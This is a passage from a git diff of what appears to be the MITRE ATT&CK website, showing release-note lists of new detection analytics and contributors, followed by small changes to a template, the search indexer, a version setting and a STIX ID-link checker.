1981](/detectionstrategies/DET0849#AN1981) (v1.0) +* [Analytic 1982](/detectionstrategies/DET0850#AN1982) (v1.0) +* [Analytic 1983](/detectionstrategies/DET0851#AN1983) (v1.0) +* [Analytic 1984](/detectionstrategies/DET0852#AN1984) (v1.0) +* [Analytic 1985](/detectionstrategies/DET0853#AN1985) (v1.0) +* [Analytic 1986](/detectionstrategies/DET0854#AN1986) (v1.0) +* [Analytic 1987](/detectionstrategies/DET0855#AN1987) (v1.0) +* [Analytic 1988](/detectionstrategies/DET0856#AN1988) (v1.0) +* [Analytic 1989](/detectionstrategies/DET0857#AN1989) (v1.0) +* [Analytic 1990](/detectionstrategies/DET0858#AN1990) (v1.0) +* [Analytic 1991](/detectionstrategies/DET0859#AN1991) (v1.0) +* [Analytic 1992](/detectionstrategies/DET0860#AN1992) (v1.0) +* [Analytic 1993](/detectionstrategies/DET0861#AN1993) (v1.0) +* [Analytic 1994](/detectionstrategies/DET0862#AN1994) (v1.0) +* [Analytic 1995](/detectionstrategies/DET0863#AN1995) (v1.0) +* [Analytic 1996](/detectionstrategies/DET0864#AN1996) (v1.0) +* [Analytic 1997](/detectionstrategies/DET0865#AN1997) (v1.0) +* [Analytic 1998](/detectionstrategies/DET0866#AN1998) (v1.0) +* [Analytic 1999](/detectionstrategies/DET0867#AN1999) (v1.0) +* [Analytic 2000](/detectionstrategies/DET0868#AN2000) (v1.0) +* [Analytic 2001](/detectionstrategies/DET0869#AN2001) (v1.0) +* [Analytic 2002](/detectionstrategies/DET0870#AN2002) (v1.0) +* [Analytic 2003](/detectionstrategies/DET0871#AN2003) (v1.0) +* [Analytic 2004](/detectionstrategies/DET0872#AN2004) (v1.0) +* [Analytic 2005](/detectionstrategies/DET0873#AN2005) (v1.0) +* [Analytic 2006](/detectionstrategies/DET0874#AN2006) (v1.0) +* [Analytic 2007](/detectionstrategies/DET0875#AN2007) (v1.0) +* [Analytic 2008](/detectionstrategies/DET0876#AN2008) (v1.0) +* [Analytic 2009](/detectionstrategies/DET0877#AN2009) (v1.0) +* [Analytic 2010](/detectionstrategies/DET0878#AN2010) (v1.0) +* [Analytic 2011](/detectionstrategies/DET0879#AN2011) (v1.0) +* [Analytic 2012](/detectionstrategies/DET0880#AN2012) (v1.0) +* [Analytic 2013](/detectionstrategies/DET0881#AN2013) (v1.0) +* [Analytic 2014](/detectionstrategies/DET0882#AN2014) (v1.0) +* [Analytic 2015](/detectionstrategies/DET0883#AN2015) (v1.0) +* [Analytic 2016](/detectionstrategies/DET0884#AN2016) (v1.0) +* [Analytic 2017](/detectionstrategies/DET0885#AN2017) (v1.0) +* [Analytic 2018](/detectionstrategies/DET0886#AN2018) (v1.0) +* [Analytic 2019](/detectionstrategies/DET0887#AN2019) (v1.0) +* [Analytic 2020](/detectionstrategies/DET0888#AN2020) (v1.0) +* [Analytic 2021](/detectionstrategies/DET0889#AN2021) (v1.0) +* [Analytic 2022](/detectionstrategies/DET0890#AN2022) (v1.0) +* [Analytic 2023](/detectionstrategies/DET0891#AN2023) (v1.0) +* [Analytic 2024](/detectionstrategies/DET0892#AN2024) (v1.0) +* [Analytic 2025](/detectionstrategies/DET0893#AN2025) (v1.0) +* [Analytic 2026](/detectionstrategies/DET0894#AN2026) (v1.0) +* [Analytic 2027](/detectionstrategies/DET0895#AN2027) (v1.0) +* [Analytic 2028](/detectionstrategies/DET0896#AN2028) (v1.0) +* [Analytic 2029](/detectionstrategies/DET0898#AN2029) (v1.0) +* [Analytic 2030](/detectionstrategies/DET0897#AN2030) (v1.0) +* [Analytic 2031](/detectionstrategies/DET0898#AN2031) (v1.0) +* [Analytic 2032](/detectionstrategies/DET0898#AN2032) (v1.0) + +### Mobile + +#### New Analytics + +* [Analytic 1644](/detectionstrategies/DET0598#AN1644) (v1.0) +* [Analytic 1645](/detectionstrategies/DET0599#AN1645) (v1.0) +* [Analytic 1646](/detectionstrategies/DET0600#AN1646) (v1.0) +* [Analytic 1647](/detectionstrategies/DET0600#AN1647) (v1.0) +* [Analytic 1648](/detectionstrategies/DET0601#AN1648) (v1.0) +* [Analytic 1649](/detectionstrategies/DET0601#AN1649) (v1.0) +* [Analytic 1650](/detectionstrategies/DET0602#AN1650) (v1.0) +* [Analytic 1651](/detectionstrategies/DET0602#AN1651) (v1.0) +* [Analytic 1652](/detectionstrategies/DET0603#AN1652) (v1.0) +* [Analytic 1653](/detectionstrategies/DET0604#AN1653) (v1.0) +* [Analytic 1654](/detectionstrategies/DET0604#AN1654) (v1.0) +* [Analytic 1655](/detectionstrategies/DET0605#AN1655) (v1.0) +* [Analytic 1656](/detectionstrategies/DET0606#AN1656) (v1.0) +* [Analytic 1657](/detectionstrategies/DET0607#AN1657) (v1.0) +* [Analytic 1658](/detectionstrategies/DET0607#AN1658) (v1.0) +* [Analytic 1659](/detectionstrategies/DET0608#AN1659) (v1.0) +* [Analytic 1660](/detectionstrategies/DET0608#AN1660) (v1.0) +* [Analytic 1661](/detectionstrategies/DET0609#AN1661) (v1.0) +* [Analytic 1662](/detectionstrategies/DET0609#AN1662) (v1.0) +* [Analytic 1663](/detectionstrategies/DET0610#AN1663) (v1.0) +* [Analytic 1664](/detectionstrategies/DET0610#AN1664) (v1.0) +* [Analytic 1665](/detectionstrategies/DET0611#AN1665) (v1.0) +* [Analytic 1666](/detectionstrategies/DET0612#AN1666) (v1.0) +* [Analytic 1667](/detectionstrategies/DET0613#AN1667) (v1.0) +* [Analytic 1668](/detectionstrategies/DET0613#AN1668) (v1.0) +* [Analytic 1669](/detectionstrategies/DET0614#AN1669) (v1.0) +* [Analytic 1670](/detectionstrategies/DET0614#AN1670) (v1.0) +* [Analytic 1671](/detectionstrategies/DET0615#AN1671) (v1.0) +* [Analytic 1672](/detectionstrategies/DET0615#AN1672) (v1.0) +* [Analytic 1673](/detectionstrategies/DET0616#AN1673) (v1.0) +* [Analytic 1674](/detectionstrategies/DET0616#AN1674) (v1.0) +* [Analytic 1675](/detectionstrategies/DET0617#AN1675) (v1.0) +* [Analytic 1676](/detectionstrategies/DET0617#AN1676) (v1.0) +* [Analytic 1677](/detectionstrategies/DET0618#AN1677) (v1.0) +* [Analytic 1678](/detectionstrategies/DET0618#AN1678) (v1.0) +* [Analytic 1679](/detectionstrategies/DET0619#AN1679) (v1.0) +* [Analytic 1680](/detectionstrategies/DET0619#AN1680) (v1.0) +* [Analytic 1681](/detectionstrategies/DET0620#AN1681) (v1.0) +* [Analytic 1682](/detectionstrategies/DET0620#AN1682) (v1.0) +* [Analytic 1683](/detectionstrategies/DET0621#AN1683) (v1.0) +* [Analytic 1684](/detectionstrategies/DET0621#AN1684) (v1.0) +* [Analytic 1685](/detectionstrategies/DET0622#AN1685) (v1.0) +* [Analytic 1686](/detectionstrategies/DET0622#AN1686) (v1.0) +* [Analytic 1687](/detectionstrategies/DET0623#AN1687) (v1.0) +* [Analytic 1688](/detectionstrategies/DET0623#AN1688) (v1.0) +* [Analytic 1689](/detectionstrategies/DET0624#AN1689) (v1.0) +* [Analytic 1690](/detectionstrategies/DET0624#AN1690) (v1.0) +* [Analytic 1691](/detectionstrategies/DET0625#AN1691) (v1.0) +* [Analytic 1692](/detectionstrategies/DET0625#AN1692) (v1.0) +* [Analytic 1693](/detectionstrategies/DET0626#AN1693) (v1.0) +* [Analytic 1694](/detectionstrategies/DET0626#AN1694) (v1.0) +* [Analytic 1695](/detectionstrategies/DET0627#AN1695) (v1.0) +* [Analytic 1696](/detectionstrategies/DET0627#AN1696) (v1.0) +* [Analytic 1697](/detectionstrategies/DET0628#AN1697) (v1.0) +* [Analytic 1698](/detectionstrategies/DET0628#AN1698) (v1.0) +* [Analytic 1699](/detectionstrategies/DET0629#AN1699) (v1.0) +* [Analytic 1700](/detectionstrategies/DET0629#AN1700) (v1.0) +* [Analytic 1701](/detectionstrategies/DET0630#AN1701) (v1.0) +* [Analytic 1702](/detectionstrategies/DET0631#AN1702) (v1.0) +* [Analytic 1703](/detectionstrategies/DET0632#AN1703) (v1.0) +* [Analytic 1704](/detectionstrategies/DET0632#AN1704) (v1.0) +* [Analytic 1705](/detectionstrategies/DET0633#AN1705) (v1.0) +* [Analytic 1706](/detectionstrategies/DET0634#AN1706) (v1.0) +* [Analytic 1707](/detectionstrategies/DET0634#AN1707) (v1.0) +* [Analytic 1708](/detectionstrategies/DET0635#AN1708) (v1.0) +* [Analytic 1709](/detectionstrategies/DET0635#AN1709) (v1.0) +* [Analytic 1710](/detectionstrategies/DET0636#AN1710) (v1.0) +* [Analytic 1711](/detectionstrategies/DET0637#AN1711) (v1.0) +* [Analytic 1712](/detectionstrategies/DET0638#AN1712) (v1.0) +* [Analytic 1713](/detectionstrategies/DET0639#AN1713) (v1.0) +* [Analytic 1714](/detectionstrategies/DET0639#AN1714) (v1.0) +* [Analytic 1715](/detectionstrategies/DET0640#AN1715) (v1.0) +* [Analytic 1716](/detectionstrategies/DET0641#AN1716) (v1.0) +* [Analytic 1717](/detectionstrategies/DET0641#AN1717) (v1.0) +* [Analytic 1718](/detectionstrategies/DET0642#AN1718) (v1.0) +* [Analytic 1719](/detectionstrategies/DET0643#AN1719) (v1.0) +* [Analytic 1720](/detectionstrategies/DET0643#AN1720) (v1.0) +* [Analytic 1721](/detectionstrategies/DET0644#AN1721) (v1.0) +* [Analytic 1722](/detectionstrategies/DET0644#AN1722) (v1.0) +* [Analytic 1723](/detectionstrategies/DET0645#AN1723) (v1.0) +* [Analytic 1724](/detectionstrategies/DET0645#AN1724) (v1.0) +* [Analytic 1725](/detectionstrategies/DET0646#AN1725) (v1.0) +* [Analytic 1726](/detectionstrategies/DET0646#AN1726) (v1.0) +* [Analytic 1727](/detectionstrategies/DET0647#AN1727) (v1.0) +* [Analytic 1728](/detectionstrategies/DET0648#AN1728) (v1.0) +* [Analytic 1729](/detectionstrategies/DET0648#AN1729) (v1.0) +* [Analytic 1730](/detectionstrategies/DET0649#AN1730) (v1.0) +* [Analytic 1731](/detectionstrategies/DET0650#AN1731) (v1.0) +* [Analytic 1732](/detectionstrategies/DET0650#AN1732) (v1.0) +* [Analytic 1733](/detectionstrategies/DET0651#AN1733) (v1.0) +* [Analytic 1734](/detectionstrategies/DET0651#AN1734) (v1.0) +* [Analytic 1735](/detectionstrategies/DET0652#AN1735) (v1.0) +* [Analytic 1736](/detectionstrategies/DET0652#AN1736) (v1.0) +* [Analytic 1737](/detectionstrategies/DET0653#AN1737) (v1.0) +* [Analytic 1738](/detectionstrategies/DET0653#AN1738) (v1.0) +* [Analytic 1739](/detectionstrategies/DET0654#AN1739) (v1.0) +* [Analytic 1740](/detectionstrategies/DET0654#AN1740) (v1.0) +* [Analytic 1741](/detectionstrategies/DET0655#AN1741) (v1.0) +* [Analytic 1742](/detectionstrategies/DET0655#AN1742) (v1.0) +* [Analytic 1743](/detectionstrategies/DET0656#AN1743) (v1.0) +* [Analytic 1744](/detectionstrategies/DET0656#AN1744) (v1.0) +* [Analytic 1745](/detectionstrategies/DET0657#AN1745) (v1.0) +* [Analytic 1746](/detectionstrategies/DET0657#AN1746) (v1.0) +* [Analytic 1747](/detectionstrategies/DET0658#AN1747) (v1.0) +* [Analytic 1748](/detectionstrategies/DET0658#AN1748) (v1.0) +* [Analytic 1749](/detectionstrategies/DET0659#AN1749) (v1.0) +* [Analytic 1750](/detectionstrategies/DET0660#AN1750) (v1.0) +* [Analytic 1751](/detectionstrategies/DET0661#AN1751) (v1.0) +* [Analytic 1752](/detectionstrategies/DET0661#AN1752) (v1.0) +* [Analytic 1753](/detectionstrategies/DET0662#AN1753) (v1.0) +* [Analytic 1754](/detectionstrategies/DET0662#AN1754) (v1.0) +* [Analytic 1755](/detectionstrategies/DET0663#AN1755) (v1.0) +* [Analytic 1756](/detectionstrategies/DET0663#AN1756) (v1.0) +* [Analytic 1757](/detectionstrategies/DET0664#AN1757) (v1.0) +* [Analytic 1758](/detectionstrategies/DET0665#AN1758) (v1.0) +* [Analytic 1759](/detectionstrategies/DET0665#AN1759) (v1.0) +* [Analytic 1760](/detectionstrategies/DET0666#AN1760) (v1.0) +* [Analytic 1761](/detectionstrategies/DET0666#AN1761) (v1.0) +* [Analytic 1762](/detectionstrategies/DET0667#AN1762) (v1.0) +* [Analytic 1763](/detectionstrategies/DET0667#AN1763) (v1.0) +* [Analytic 1764](/detectionstrategies/DET0668#AN1764) (v1.0) +* [Analytic 1765](/detectionstrategies/DET0669#AN1765) (v1.0) +* [Analytic 1766](/detectionstrategies/DET0669#AN1766) (v1.0) +* [Analytic 1767](/detectionstrategies/DET0670#AN1767) (v1.0) +* [Analytic 1768](/detectionstrategies/DET0670#AN1768) (v1.0) +* [Analytic 1769](/detectionstrategies/DET0671#AN1769) (v1.0) +* [Analytic 1770](/detectionstrategies/DET0672#AN1770) (v1.0) +* [Analytic 1771](/detectionstrategies/DET0672#AN1771) (v1.0) +* [Analytic 1772](/detectionstrategies/DET0673#AN1772) (v1.0) +* [Analytic 1773](/detectionstrategies/DET0673#AN1773) (v1.0) +* [Analytic 1774](/detectionstrategies/DET0674#AN1774) (v1.0) +* [Analytic 1775](/detectionstrategies/DET0674#AN1775) (v1.0) +* [Analytic 1776](/detectionstrategies/DET0675#AN1776) (v1.0) +* [Analytic 1777](/detectionstrategies/DET0675#AN1777) (v1.0) +* [Analytic 1778](/detectionstrategies/DET0676#AN1778) (v1.0) +* [Analytic 1779](/detectionstrategies/DET0676#AN1779) (v1.0) +* [Analytic 1780](/detectionstrategies/DET0677#AN1780) (v1.0) +* [Analytic 1781](/detectionstrategies/DET0678#AN1781) (v1.0) +* [Analytic 1782](/detectionstrategies/DET0679#AN1782) (v1.0) +* [Analytic 1783](/detectionstrategies/DET0679#AN1783) (v1.0) +* [Analytic 1784](/detectionstrategies/DET0680#AN1784) (v1.0) +* [Analytic 1785](/detectionstrategies/DET0680#AN1785) (v1.0) +* [Analytic 1786](/detectionstrategies/DET0681#AN1786) (v1.0) +* [Analytic 1787](/detectionstrategies/DET0681#AN1787) (v1.0) +* [Analytic 1788](/detectionstrategies/DET0682#AN1788) (v1.0) +* [Analytic 1789](/detectionstrategies/DET0682#AN1789) (v1.0) +* [Analytic 1790](/detectionstrategies/DET0683#AN1790) (v1.0) +* [Analytic 1791](/detectionstrategies/DET0684#AN1791) (v1.0) +* [Analytic 1792](/detectionstrategies/DET0684#AN1792) (v1.0) +* [Analytic 1793](/detectionstrategies/DET0685#AN1793) (v1.0) +* [Analytic 1794](/detectionstrategies/DET0685#AN1794) (v1.0) +* [Analytic 1795](/detectionstrategies/DET0686#AN1795) (v1.0) +* [Analytic 1796](/detectionstrategies/DET0686#AN1796) (v1.0) +* [Analytic 1797](/detectionstrategies/DET0687#AN1797) (v1.0) +* [Analytic 1798](/detectionstrategies/DET0688#AN1798) (v1.0) +* [Analytic 1799](/detectionstrategies/DET0688#AN1799) (v1.0) +* [Analytic 1800](/detectionstrategies/DET0689#AN1800) (v1.0) +* [Analytic 1801](/detectionstrategies/DET0690#AN1801) (v1.0) +* [Analytic 1802](/detectionstrategies/DET0691#AN1802) (v1.0) +* [Analytic 1803](/detectionstrategies/DET0691#AN1803) (v1.0) +* [Analytic 1804](/detectionstrategies/DET0692#AN1804) (v1.0) +* [Analytic 1805](/detectionstrategies/DET0692#AN1805) (v1.0) +* [Analytic 1806](/detectionstrategies/DET0693#AN1806) (v1.0) +* [Analytic 1807](/detectionstrategies/DET0694#AN1807) (v1.0) +* [Analytic 1808](/detectionstrategies/DET0695#AN1808) (v1.0) +* [Analytic 1809](/detectionstrategies/DET0695#AN1809) (v1.0) +* [Analytic 1810](/detectionstrategies/DET0696#AN1810) (v1.0) +* [Analytic 1811](/detectionstrategies/DET0696#AN1811) (v1.0) +* [Analytic 1812](/detectionstrategies/DET0697#AN1812) (v1.0) +* [Analytic 1813](/detectionstrategies/DET0698#AN1813) (v1.0) +* [Analytic 1814](/detectionstrategies/DET0698#AN1814) (v1.0) +* [Analytic 1815](/detectionstrategies/DET0699#AN1815) (v1.0) +* [Analytic 1816](/detectionstrategies/DET0700#AN1816) (v1.0) +* [Analytic 1817](/detectionstrategies/DET0700#AN1817) (v1.0) +* [Analytic 1818](/detectionstrategies/DET0701#AN1818) (v1.0) +* [Analytic 1819](/detectionstrategies/DET0701#AN1819) (v1.0) +* [Analytic 1820](/detectionstrategies/DET0702#AN1820) (v1.0) +* [Analytic 1821](/detectionstrategies/DET0702#AN1821) (v1.0) +* [Analytic 1822](/detectionstrategies/DET0703#AN1822) (v1.0) +* [Analytic 1823](/detectionstrategies/DET0704#AN1823) (v1.0) +* [Analytic 1824](/detectionstrategies/DET0704#AN1824) (v1.0) +* [Analytic 1825](/detectionstrategies/DET0705#AN1825) (v1.0) +* [Analytic 1826](/detectionstrategies/DET0705#AN1826) (v1.0) +* [Analytic 1827](/detectionstrategies/DET0706#AN1827) (v1.0) +* [Analytic 1828](/detectionstrategies/DET0706#AN1828) (v1.0) +* [Analytic 1829](/detectionstrategies/DET0707#AN1829) (v1.0) +* [Analytic 1830](/detectionstrategies/DET0707#AN1830) (v1.0) +* [Analytic 1831](/detectionstrategies/DET0708#AN1831) (v1.0) +* [Analytic 1832](/detectionstrategies/DET0708#AN1832) (v1.0) +* [Analytic 1833](/detectionstrategies/DET0709#AN1833) (v1.0) +* [Analytic 1834](/detectionstrategies/DET0709#AN1834) (v1.0) +* [Analytic 1835](/detectionstrategies/DET0710#AN1835) (v1.0) +* [Analytic 1836](/detectionstrategies/DET0710#AN1836) (v1.0) +* [Analytic 1837](/detectionstrategies/DET0711#AN1837) (v1.0) +* [Analytic 1838](/detectionstrategies/DET0712#AN1838) (v1.0) +* [Analytic 1839](/detectionstrategies/DET0712#AN1839) (v1.0) +* [Analytic 1840](/detectionstrategies/DET0713#AN1840) (v1.0) +* [Analytic 1841](/detectionstrategies/DET0713#AN1841) (v1.0) +* [Analytic 1842](/detectionstrategies/DET0714#AN1842) (v1.0) +* [Analytic 1843](/detectionstrategies/DET0715#AN1843) (v1.0) +* [Analytic 1844](/detectionstrategies/DET0715#AN1844) (v1.0) +* [Analytic 1845](/detectionstrategies/DET0716#AN1845) (v1.0) +* [Analytic 1846](/detectionstrategies/DET0716#AN1846) (v1.0) +* [Analytic 1847](/detectionstrategies/DET0717#AN1847) (v1.0) +* [Analytic 1848](/detectionstrategies/DET0718#AN1848) (v1.0) +* [Analytic 1849](/detectionstrategies/DET0718#AN1849) (v1.0) +* [Analytic 1850](/detectionstrategies/DET0719#AN1850) (v1.0) +* [Analytic 1851](/detectionstrategies/DET0720#AN1851) (v1.0) +* [Analytic 1852](/detectionstrategies/DET0720#AN1852) (v1.0) +* [Analytic 1853](/detectionstrategies/DET0721#AN1853) (v1.0) +* [Analytic 1854](/detectionstrategies/DET0721#AN1854) (v1.0) + +### ICS + +#### New Analytics + +* [Analytic 1855](/detectionstrategies/DET0722#AN1855) (v1.0) +* [Analytic 1856](/detectionstrategies/DET0723#AN1856) (v1.0) +* [Analytic 1857](/detectionstrategies/DET0724#AN1857) (v1.0) +* [Analytic 1858](/detectionstrategies/DET0725#AN1858) (v1.0) +* [Analytic 1859](/detectionstrategies/DET0726#AN1859) (v1.0) +* [Analytic 1860](/detectionstrategies/DET0727#AN1860) (v1.0) +* [Analytic 1861](/detectionstrategies/DET0728#AN1861) (v1.0) +* [Analytic 1862](/detectionstrategies/DET0729#AN1862) (v1.0) +* [Analytic 1863](/detectionstrategies/DET0730#AN1863) (v1.0) +* [Analytic 1864](/detectionstrategies/DET0731#AN1864) (v1.0) +* [Analytic 1865](/detectionstrategies/DET0732#AN1865) (v1.0) +* [Analytic 1866](/detectionstrategies/DET0733#AN1866) (v1.0) +* [Analytic 1867](/detectionstrategies/DET0734#AN1867) (v1.0) +* [Analytic 1868](/detectionstrategies/DET0735#AN1868) (v1.0) +* [Analytic 1869](/detectionstrategies/DET0736#AN1869) (v1.0) +* [Analytic 1870](/detectionstrategies/DET0737#AN1870) (v1.0) +* [Analytic 1871](/detectionstrategies/DET0738#AN1871) (v1.0) +* [Analytic 1872](/detectionstrategies/DET0739#AN1872) (v1.0) +* [Analytic 1873](/detectionstrategies/DET0740#AN1873) (v1.0) +* [Analytic 1874](/detectionstrategies/DET0741#AN1874) (v1.0) +* [Analytic 1875](/detectionstrategies/DET0742#AN1875) (v1.0) +* [Analytic 1876](/detectionstrategies/DET0743#AN1876) (v1.0) +* [Analytic 1877](/detectionstrategies/DET0744#AN1877) (v1.0) +* [Analytic 1878](/detectionstrategies/DET0745#AN1878) (v1.0) +* [Analytic 1879](/detectionstrategies/DET0746#AN1879) (v1.0) +* [Analytic 1880](/detectionstrategies/DET0747#AN1880) (v1.0) +* [Analytic 1881](/detectionstrategies/DET0749#AN1881) (v1.0) +* [Analytic 1882](/detectionstrategies/DET0750#AN1882) (v1.0) +* [Analytic 1883](/detectionstrategies/DET0751#AN1883) (v1.0) +* [Analytic 1884](/detectionstrategies/DET0752#AN1884) (v1.0) +* [Analytic 1885](/detectionstrategies/DET0753#AN1885) (v1.0) +* [Analytic 1886](/detectionstrategies/DET0754#AN1886) (v1.0) +* [Analytic 1887](/detectionstrategies/DET0755#AN1887) (v1.0) +* [Analytic 1888](/detectionstrategies/DET0756#AN1888) (v1.0) +* [Analytic 1889](/detectionstrategies/DET0757#AN1889) (v1.0) +* [Analytic 1890](/detectionstrategies/DET0758#AN1890) (v1.0) +* [Analytic 1891](/detectionstrategies/DET0759#AN1891) (v1.0) +* [Analytic 1892](/detectionstrategies/DET0760#AN1892) (v1.0) +* [Analytic 1893](/detectionstrategies/DET0761#AN1893) (v1.0) +* [Analytic 1894](/detectionstrategies/DET0762#AN1894) (v1.0) +* [Analytic 1895](/detectionstrategies/DET0763#AN1895) (v1.0) +* [Analytic 1896](/detectionstrategies/DET0764#AN1896) (v1.0) +* [Analytic 1897](/detectionstrategies/DET0765#AN1897) (v1.0) +* [Analytic 1898](/detectionstrategies/DET0766#AN1898) (v1.0) +* [Analytic 1899](/detectionstrategies/DET0767#AN1899) (v1.0) +* [Analytic 1900](/detectionstrategies/DET0768#AN1900) (v1.0) +* [Analytic 1901](/detectionstrategies/DET0769#AN1901) (v1.0) +* [Analytic 1902](/detectionstrategies/DET0770#AN1902) (v1.0) +* [Analytic 1903](/detectionstrategies/DET0771#AN1903) (v1.0) +* [Analytic 1904](/detectionstrategies/DET0772#AN1904) (v1.0) +* [Analytic 1905](/detectionstrategies/DET0773#AN1905) (v1.0) +* [Analytic 1906](/detectionstrategies/DET0774#AN1906) (v1.0) +* [Analytic 1907](/detectionstrategies/DET0775#AN1907) (v1.0) +* [Analytic 1908](/detectionstrategies/DET0776#AN1908) (v1.0) +* [Analytic 1909](/detectionstrategies/DET0777#AN1909) (v1.0) +* [Analytic 1910](/detectionstrategies/DET0778#AN1910) (v1.0) +* [Analytic 1911](/detectionstrategies/DET0779#AN1911) (v1.0) +* [Analytic 1912](/detectionstrategies/DET0780#AN1912) (v1.0) +* [Analytic 1913](/detectionstrategies/DET0781#AN1913) (v1.0) +* [Analytic 1914](/detectionstrategies/DET0782#AN1914) (v1.0) +* [Analytic 1915](/detectionstrategies/DET0783#AN1915) (v1.0) +* [Analytic 1916](/detectionstrategies/DET0784#AN1916) (v1.0) +* [Analytic 1917](/detectionstrategies/DET0785#AN1917) (v1.0) +* [Analytic 1918](/detectionstrategies/DET0786#AN1918) (v1.0) +* [Analytic 1919](/detectionstrategies/DET0787#AN1919) (v1.0) +* [Analytic 1920](/detectionstrategies/DET0788#AN1920) (v1.0) +* [Analytic 1921](/detectionstrategies/DET0789#AN1921) (v1.0) +* [Analytic 1922](/detectionstrategies/DET0790#AN1922) (v1.0) +* [Analytic 1923](/detectionstrategies/DET0791#AN1923) (v1.0) +* [Analytic 1924](/detectionstrategies/DET0792#AN1924) (v1.0) +* [Analytic 1925](/detectionstrategies/DET0793#AN1925) (v1.0) +* [Analytic 1926](/detectionstrategies/DET0794#AN1926) (v1.0) +* [Analytic 1927](/detectionstrategies/DET0795#AN1927) (v1.0) +* [Analytic 1928](/detectionstrategies/DET0796#AN1928) (v1.0) +* [Analytic 1929](/detectionstrategies/DET0797#AN1929) (v1.0) +* [Analytic 1930](/detectionstrategies/DET0798#AN1930) (v1.0) +* [Analytic 1931](/detectionstrategies/DET0799#AN1931) (v1.0) +* [Analytic 1932](/detectionstrategies/DET0800#AN1932) (v1.0) +* [Analytic 1933](/detectionstrategies/DET0801#AN1933) (v1.0) +* [Analytic 1934](/detectionstrategies/DET0802#AN1934) (v1.0) +* [Analytic 1935](/detectionstrategies/DET0803#AN1935) (v1.0) +* [Analytic 1936](/detectionstrategies/DET0804#AN1936) (v1.0) + +## Contributors to this release + +* Adam Hunt +* Amir Hossein Vafifar +* Arun Seelagan, CISA +* Aung Kyaw Min Naing, @Nolan +* Austin Larsen and the Google Threat Intelligence Group +* Avioo360 +* Ben Smith +* Christopher Peacock +* Damien Miller-McAndrews +* Daniyal Naeem, BT Security +* Deloitte Threat Library Team +* Don Le, Stifel Financial +* Enis Aksu +* Eric Loui, CrowdStrike Intelligence +* Florian Heigl +* Giorgi Gurgenidze, GITAC +* Google's Android Security team +* Gordon Long, LegioX/Zoom, asaurusrex +* Gr@ve_Rose (tcpdump101.com on bsky) +* Gregory Frey +* Jeff Felling, Red Canary +* Jiraput Thamsongkrah +* Joe Gumke, U.S. Bank +* Jorge Orchilles, SCYTHE +* Kaung Khant Ko +* Liran Ravich, CardinalOps +* Lookout +* Marco Pedrinazzi, @pedrinazziM, InTheCyber +* Matt Brenton +* Menachem Goldstein +* Michael “Barni” Barnhart, DTEX +* Michal Biesiada +* Natthawut Saexu +* Nay Myo Hlaing (Ethan), DBS Bank +* Ozer Sarilar, @ozersarilar, STM +* Purinut Wongwaiwuttiguldej +* Pyae Heinn Kyaw, CSIRT @ Salesforce +* Raja Singh (raja-singh-r3v-sh3ll) +* Ray Jasinski +* ReliaQuest +* Ruben Dodge, @shotgunner101 +* Ruben Groenewoud (@RFGroenewoud) +* Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc. +* Serhii Melnyk, Trustwave SpiderLabs +* Shuhei Sasada, ITOCHU Cyber & Intelligence Inc. +* Simon Williams +* Tommaso Tosi, @tosto92, InTheCyber +* Tony Mau (CyberCX) +* YH Chang, ZScaler ThreatLabz +* Yusuke Niwa, ITOCHU Cyber & Intelligence Inc. +* ZScaler diff --git a/modules/resources/templates/attackcon.html b/modules/resources/templates/attackcon.html index b950300823b..7d19742c4b7 100644 --- a/modules/resources/templates/attackcon.html +++ b/modules/resources/templates/attackcon.html @@ -32,9 +32,9 @@

ATT&CKcon

{{contact_card.render( "ATT&CKcon 6.0", - "https://na.eventscloud.com/attackcon6", + "/resources/attackcon/october-2025/", "October 14th - 15th, 2025
McLean, VA", - fa_icon=True)}} + invert_icon=True)}} {{contact_card.render( "ATT&CKcon 5.0", "/resources/attackcon/october-2024/", diff --git a/modules/search/search.py b/modules/search/search.py index 777fa0d7dae..e2544cae3e6 100644 --- a/modules/search/search.py +++ b/modules/search/search.py @@ -48,12 +48,18 @@ def generate_index(): file_type = "campaigns" elif path.startswith("/datasources/"): file_type = "datasources" + elif path.startswith("/datacomponents/"): + file_type = "datacomponents" elif path.startswith("/software/"): file_type = "software" elif path.startswith("/tactics/"): file_type = "tactics" elif path.startswith("/techniques/"): file_type = "techniques" + elif path.startswith("/analytics/"): + file_type = "analytics" + elif path.startswith("/detectionstrategies/"): + file_type = "detectionstrategies" else: file_type = "misc" diff --git a/modules/site_config.py b/modules/site_config.py index c60f62f01ee..03df9c42518 100644 --- a/modules/site_config.py +++ b/modules/site_config.py @@ -173,7 +173,7 @@ def set_subdirectory(subdirectory_str): "Title: ${domain} Techniques\nTemplate: general/json\nsave_as: ${path}/${attack_id}-${domain}-layer.json\njson: " ) layer_version = "4.5" -navigator_version = "5.1.0" +navigator_version = "5.2.0" # Directory for test reports test_report_directory = "reports" diff --git a/modules/stixtests/linkbyidchecker.py b/modules/stixtests/linkbyidchecker.py index d66268fbb01..3be06e053e2 100644 --- a/modules/stixtests/linkbyidchecker.py +++ b/modules/stixtests/linkbyidchecker.py @@ -36,7 +36,10 @@ def linkbyid_check(): ) custom_stix_types_that_should_have_attack_ids = ( "x-mitre-data-source", + "x-mitre-data-component", "x-mitre-tactic", + "x-mitre-analytic", + "x-mitre-detection-strategy", ) all_attack_ids = [] @@ -44,32 +47,43 @@ def linkbyid_check(): stix_id_to_stix_object = {} all_data_components = [] for stix_object in all_stix_objects: - _id = stix_object["id"] - - stix_id_to_stix_object[_id] = stix_object + stix_id = stix_object["id"] + stix_id_to_stix_object[stix_id] = stix_object external_references = stix_object.get("external_references") - if isinstance(stix_object, stix_types_that_should_have_attack_ids) or _id.startswith( + if isinstance(stix_object, stix_types_that_should_have_attack_ids) or stix_id.startswith( custom_stix_types_that_should_have_attack_ids ): - if external_references: - if "external_id" in external_references[0]: - attack_id = external_references[0]["external_id"] - stix_id = _id - - all_attack_ids.append(attack_id) - stix_id_to_attack_id[stix_id] = attack_id + if external_references and "external_id" in external_references[0]: + attack_id = external_references[0]["external_id"] + all_attack_ids.append(attack_id) + stix_id_to_attack_id[stix_id] = attack_id else: - logger.error(f"STIX object does not have an expected ATT&CK ID: {_id}") + # suppress warnings for legacy data components without attack IDs + if not stix_id.startswith("x-mitre-data-component"): + logger.error(f"STIX object does not have an expected ATT&CK ID: {stix_id}") - if _id.startswith("x-mitre-data-component"): + if stix_id.startswith("x-mitre-data-component"): all_data_components.append(stix_object) - data_component_stix_id_to_datasource_attack_id = {} + # build lookup for data component to data source attack ID + # (backwards compatibility with older data components that do + # not have attack IDs) + data_component_stix_id_to_attack_id = {} for data_component in all_data_components: - 